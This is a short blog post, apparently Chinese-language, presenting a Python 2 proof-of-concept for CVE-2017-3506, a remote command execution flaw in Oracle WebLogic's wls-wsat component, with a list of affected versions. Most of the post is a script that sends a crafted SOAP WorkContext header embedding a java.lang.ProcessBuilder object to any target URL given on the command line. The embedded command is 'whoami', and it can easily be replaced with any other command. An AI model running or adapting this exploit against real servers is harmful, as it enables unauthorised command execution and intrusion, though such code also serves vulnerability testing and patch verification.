WebLogic CVE-2017-3506 Poc | Dayu's Blog

WebLogic CVE-2017-3506 Poc

漏洞编号

  • CVE-2017-3506 (wls-wsat 远程命令执行漏洞)

影响版本

  • Oracle WebLogic Server10.3.6.0.0 版本
  • Oracle WebLogic Server12.1.3.0.0 版本
  • Oracle WebLogic Server12.2.1.1.0 版本
  • Oracle WebLogic Server12.2.1.2.0 版本

Poc

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#!/usr/bin/env python
# coding:utf-8
import requests
import re
from sys import argv

heads = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'text/xml;charset=UTF-8'
}

def poc(url):
if not url.startswith("http"):
url = "http://" + url
if "/" in url:
url += '/wls-wsat/CoordinatorPortType'
post_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''

try:
response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
response = response.text
response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
except Exception, e:
response = ""

if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
result = "test ok"
return result
else:
result = "No Vulnerability"
return result


if __name__ == '__main__':
if len(argv) == 1:
print "python weblogic_poc.py url:port"
exit(0)
else:
url = argv[1]
result = poc(url=url)
print result